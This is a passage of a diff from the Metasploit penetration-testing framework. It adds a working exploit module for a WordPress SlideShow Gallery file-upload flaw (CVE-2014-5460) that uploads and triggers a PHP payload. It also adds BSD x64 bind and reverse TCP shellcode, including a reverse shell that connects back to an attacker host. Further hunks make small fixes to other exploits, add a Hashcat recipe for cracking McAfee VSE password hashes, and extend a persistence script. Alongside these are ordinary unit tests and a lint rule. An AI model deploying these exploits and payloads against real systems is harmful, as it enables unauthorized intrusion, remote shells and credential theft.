||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jesus Ramirez Pichardo', # Vulnerability discovery
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-5460'],
|
||||
['EDB', '34681'],
|
||||
['WPVDB', '7532']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 28 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WP_USER', [true, 'A valid username', nil]),
|
||||
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore['WP_USER']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['WP_PASSWORD']
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to login as #{user}")
|
||||
cookie = wordpress_login(user, password)
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Unable to login as #{user}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Trying to upload payload")
|
||||
filename = "#{rand_text_alpha_lower(8)}.php"
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
|
||||
data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
|
||||
data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
|
||||
data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
|
||||
data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
|
||||
data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
|
||||
data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
|
||||
data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
|
||||
data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
|
||||
data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
|
||||
data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
|
||||
data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'vars_get' => {
|
||||
'page' => 'slideshow-slides',
|
||||
'method' => 'save'
|
||||
},
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if res
|
||||
if res.code == 200
|
||||
register_files_for_cleanup(filename)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
|
||||
end
|
||||
|
||||
print_status("#{peer} - Calling uploaded file #{filename}")
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
|
||||
)
|
||||
end
|
||||
end
|
|
@ -71,6 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => '/robohelp/server',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'encode_params' => false,
|
||||
'data' => file,
|
||||
'headers' => {
|
||||
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
|
||||
|
|
|
@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'data' => contents,
|
||||
'ctype' => 'text/html',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'computerName' => 'DesktopCentral',
|
||||
'domainName' => 'webapps',
|
||||
|
|
|
@ -85,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
send_request_cgi({
|
||||
'uri' => '/OvCgi/ovalarm.exe',
|
||||
'method' => "GET",
|
||||
'encode_params' => false,
|
||||
'headers' => {
|
||||
'Accept-Language' => sploit
|
||||
},
|
||||
|
|
|
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'),
|
||||
'method' => 'GET',
|
||||
'encode_params' => false,
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
},
|
||||
|
|
|
@ -73,6 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'headers' => {
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
},
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'filename' => "../../webapps/#{app_base}.war"
|
||||
}
|
||||
|
@ -82,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
select(nil, nil, nil, 20)
|
||||
|
||||
if (res.code == 200)
|
||||
if (res && res.code == 200)
|
||||
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
|
||||
send_request_raw(
|
||||
{
|
||||
|
|
|
@ -0,0 +1,100 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 136
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'BSD x64 Shell Bind TCP',
|
||||
'Description' => 'Bind an arbitrary command to an arbitrary port',
|
||||
'Author' => [
|
||||
'nemo <nemo[at]felinemenace.org>',
|
||||
'joev'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'bsd',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShellUnix
|
||||
))
|
||||
|
||||
# exec payload options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
|
||||
Opt::LPORT(4444)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# build the shellcode payload dynamically based on the user-provided CMD
|
||||
def generate
|
||||
cmd = (datastore['CMD'] || '') << "\x00"
|
||||
port = [datastore['LPORT'].to_i].pack('n')
|
||||
call = "\xe8" + [cmd.length].pack('V')
|
||||
payload =
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x61" + # add eax,0x61
|
||||
"\x6A\x02" + # push byte 0x1
|
||||
"\x5f" + # pop rdi
|
||||
"\x6A\x01" + # push byte 0x1
|
||||
"\x5e" + # pop rsi
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x68" + # add eax,0x68
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x56" + # push rsi
|
||||
"\xBE\x00\x02" + port + # mov esi,0xb3150200
|
||||
"\x56" + # push rsi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x6A\x10" + # push 0x10
|
||||
"\x5A" + # pop rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x6A" + # add eax,0x6a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x49\x89\xFC" + # mov r12,rdi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x1E" + # add eax,0x1e
|
||||
"\x4C\x89\xE7" + # mov rdi,r12
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x48\x89\xE2" + # mov rdx,rsp
|
||||
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x5A" + # add eax,0x5a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x5A" + # add eax,0x5a
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x3b" + # add eax,0x3b
|
||||
call + # call CMD.len
|
||||
cmd + # CMD
|
||||
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x52" + # push rdx
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x0F\x05" # loadall286
|
||||
end
|
||||
end
|
|
@ -0,0 +1,100 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 108
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Bsd
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'BSD x64 Shell Reverse TCP',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => [
|
||||
'nemo <nemo[at]felinemenace.org>',
|
||||
'joev' # copy pasta monkey
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'bsd',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShellUnix
|
||||
))
|
||||
|
||||
# exec payload options
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
|
||||
Opt::LHOST,
|
||||
Opt::LPORT(4444)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# build the shellcode payload dynamically based on the user-provided CMD
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || '127.0.0.1'
|
||||
|
||||
# OptAddress allows either an IP or hostname, we only want IPv4
|
||||
if not Rex::Socket.is_ipv4?(lhost)
|
||||
raise ArgumentError, "LHOST must be in IPv4 format."
|
||||
end
|
||||
|
||||
cmd = (datastore['CMD'] || '') << "\x00"
|
||||
port = [datastore['LPORT'].to_i].pack('n')
|
||||
ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
|
||||
|
||||
call = "\xe8" + [cmd.length].pack('V')
|
||||
payload =
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x61" + # add eax,0x61
|
||||
"\x6A\x02" + # push byte +0x2
|
||||
"\x5F" + # pop rdi
|
||||
"\x6A\x01" + # push byte +0x1
|
||||
"\x5E" + # pop rsi
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x49\x89\xC4" + # mov r12,rax
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x62" + # add eax,0x62
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x56" + # push rsi
|
||||
"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200
|
||||
ipaddr +
|
||||
"\x56" + # push rsi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x6A\x10" + # push byte +0x10
|
||||
"\x5A" + # pop rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x4C\x89\xE7" + # mov rdi,r12
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x5A" + # add eax,0x5a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x5A" + # add eax,0x5a
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\x31\xc0" + # xor eax,eax
|
||||
"\x83\xc0\x3B" + # add eax,0x3b
|
||||
call + # call CMD.len
|
||||
cmd + # CMD
|
||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x52" + # push rdx
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x0F\x05" # loadall286
|
||||
end
|
||||
end
|
|
@ -20,8 +20,11 @@ class Metasploit3 < Msf::Post
|
|||
info,
|
||||
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
|
||||
'Description' => %q(
|
||||
This module extracts the password hash from McAfee Virus Scan
|
||||
Enterprise (VSE) used to lock down the user interface.
|
||||
This module extracts the password hash from McAfee Virus Scan Enterprise (VSE)
|
||||
used to lock down the user interface. Hashcat supports cracking this type of
|
||||
hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt
|
||||
(--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic
|
||||
format is available for John the Ripper at the referenced URL.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
|
|
|
@ -72,13 +72,23 @@ end
|
|||
|
||||
# Function for Creating persistent script
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_script(delay,altexe,raw)
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
def create_script(delay,altexe,raw,is_x64)
|
||||
if is_x64
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
end
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
if altexe
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay, :template => altexe})
|
||||
else
|
||||
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
||||
{:persist => true, :delay => delay})
|
||||
end
|
||||
end
|
||||
print_status("Persistent agent script is #{vbs.length} bytes long")
|
||||
return vbs
|
||||
|
@ -224,7 +234,7 @@ print_status("Running Persistance Script")
|
|||
print_status("Resource file for cleanup created at #{@clean_up_rc}")
|
||||
# Create and Upload Payload
|
||||
raw = create_payload(payload_type, rhost, rport)
|
||||
script = create_script(delay, altexe, raw)
|
||||
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
|
||||
script_on_target = write_script_to_target(target_dir, script)
|
||||
|
||||
# Start Multi/Handler
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
require 'msf/core/opt'
|
||||
|
||||
describe Msf::Opt do
|
||||
subject(:opt) { described_class }
|
||||
|
||||
it { is_expected.to respond_to(:CHOST) }
|
||||
it { is_expected.to respond_to(:CPORT) }
|
||||
it { is_expected.to respond_to(:LHOST) }
|
||||
it { is_expected.to respond_to(:LPORT) }
|
||||
it { is_expected.to respond_to(:Proxies) }
|
||||
it { is_expected.to respond_to(:RHOST) }
|
||||
it { is_expected.to respond_to(:RPORT) }
|
||||
|
||||
context 'constants' do
|
||||
context 'CHOST' do
|
||||
subject { described_class::CHOST }
|
||||
it { is_expected.to be_a(Msf::OptAddress) }
|
||||
end
|
||||
|
||||
context 'CPORT' do
|
||||
subject { described_class::CPORT }
|
||||
it { is_expected.to be_a(Msf::OptPort) }
|
||||
end
|
||||
|
||||
context 'LHOST' do
|
||||
subject { described_class::LHOST }
|
||||
it { is_expected.to be_a(Msf::OptAddress) }
|
||||
end
|
||||
|
||||
context 'LPORT' do
|
||||
subject { described_class::LPORT }
|
||||
it { is_expected.to be_a(Msf::OptPort) }
|
||||
end
|
||||
|
||||
context 'Proxies' do
|
||||
subject { described_class::Proxies }
|
||||
it { is_expected.to be_a(Msf::OptString) }
|
||||
end
|
||||
|
||||
context 'RHOST' do
|
||||
subject { described_class::RHOST }
|
||||
it { is_expected.to be_a(Msf::OptAddress) }
|
||||
end
|
||||
|
||||
context 'RPORT' do
|
||||
subject { described_class::RPORT }
|
||||
it { is_expected.to be_a(Msf::OptPort) }
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context 'class methods' do
|
||||
let(:default) { 'foo' }
|
||||
context 'CHOST()' do
|
||||
subject { described_class::CHOST(default) }
|
||||
it { is_expected.to be_a(Msf::OptAddress) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
context 'CPORT()' do
|
||||
subject { described_class::CPORT(default) }
|
||||
it { is_expected.to be_a(Msf::OptPort) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
context 'LHOST()' do
|
||||
subject { described_class::LHOST(default) }
|
||||
it { is_expected.to be_a(Msf::OptAddress) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
context 'LPORT()' do
|
||||
subject { described_class::LPORT(default) }
|
||||
it { is_expected.to be_a(Msf::OptPort) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
context 'Proxies()' do
|
||||
subject { described_class::Proxies(default) }
|
||||
it { is_expected.to be_a(Msf::OptString) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
context 'RHOST()' do
|
||||
subject { described_class::RHOST(default) }
|
||||
it { is_expected.to be_a(Msf::OptAddress) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
context 'RPORT()' do
|
||||
subject { described_class::RPORT(default) }
|
||||
it { is_expected.to be_a(Msf::OptPort) }
|
||||
specify 'sets default' do
|
||||
expect(subject.default).to eq(default)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/steam/message'
|
||||
|
||||
describe Rex::Proto::Steam do
|
||||
subject(:steam) do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#encode_message' do
|
||||
it 'properly encodes messages' do
|
||||
message = steam.encode_message('T', 'Test')
|
||||
expect(message).to eq("\xFF\xFF\xFF\xFF\x54Test")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#decode_message' do
|
||||
it 'does not decode overly short messages' do
|
||||
expect(steam.decode_message('foo')).to eq(nil)
|
||||
end
|
||||
|
||||
it 'does not decode unknown messages' do
|
||||
expect(steam.decode_message("\xFF\xFF\xFF\x01blahblahblah")).to eq(nil)
|
||||
end
|
||||
|
||||
it 'properly decodes valid messages' do
|
||||
type, message = steam.decode_message("\xFF\xFF\xFF\xFF\x54Test")
|
||||
expect(type).to eq(0x54)
|
||||
expect(message).to eq('Test')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#a2s_info_decode' do
|
||||
it 'extracts a2s_info fields properly' do
|
||||
expected_info = {
|
||||
version: 17, name: "-=THE BATTLEGROUNDS *HARDCORE*=-", map: "aoc_battleground",
|
||||
folder: "ageofchivalry", game_name: "Age of Chivalry", game_id: 17510,
|
||||
players: "22/32", bots: 0, game_version: "1.0.0.6", type: "Dedicated",
|
||||
environment: "Linux", visibility: "public", VAC: "secured"
|
||||
}
|
||||
actual_info = steam.a2s_info_decode(IO.read(File.join(File.dirname(__FILE__), 'steam_info.bin')))
|
||||
expect(actual_info).to eq(expected_info)
|
||||
end
|
||||
end
|
||||
end
|
Binary file not shown.
|
@ -286,6 +286,26 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'bsd/x64/exec'
|
||||
end
|
||||
|
||||
context 'bsd/x64/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/bsd/x64/shell_bind_tcp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'bsd/x64/shell_bind_tcp'
|
||||
end
|
||||
|
||||
context 'bsd/x64/shell_reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/bsd/x64/shell_reverse_tcp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'bsd/x64/shell_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'bsdi/x86/shell/bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
|
@ -544,6 +544,13 @@ class Msftidy
|
|||
if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/
|
||||
warn("Please use snake case on method names: #{ln}", idx)
|
||||
end
|
||||
|
||||
if ln =~ /^\s*fail_with\(/
|
||||
unless ln =~ /^\s*fail_with\(Failure\:\:(?:None|Unknown|Unreachable|BadConfig|Disconnected|NotFound|UnexpectedReply|TimeoutExpired|UserInterrupt|NoAccess|NoTarget|NotVulnerable|PayloadFailed),/
|
||||
error("fail_with requires a valid Failure:: reason as first parameter: #{ln}", idx)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue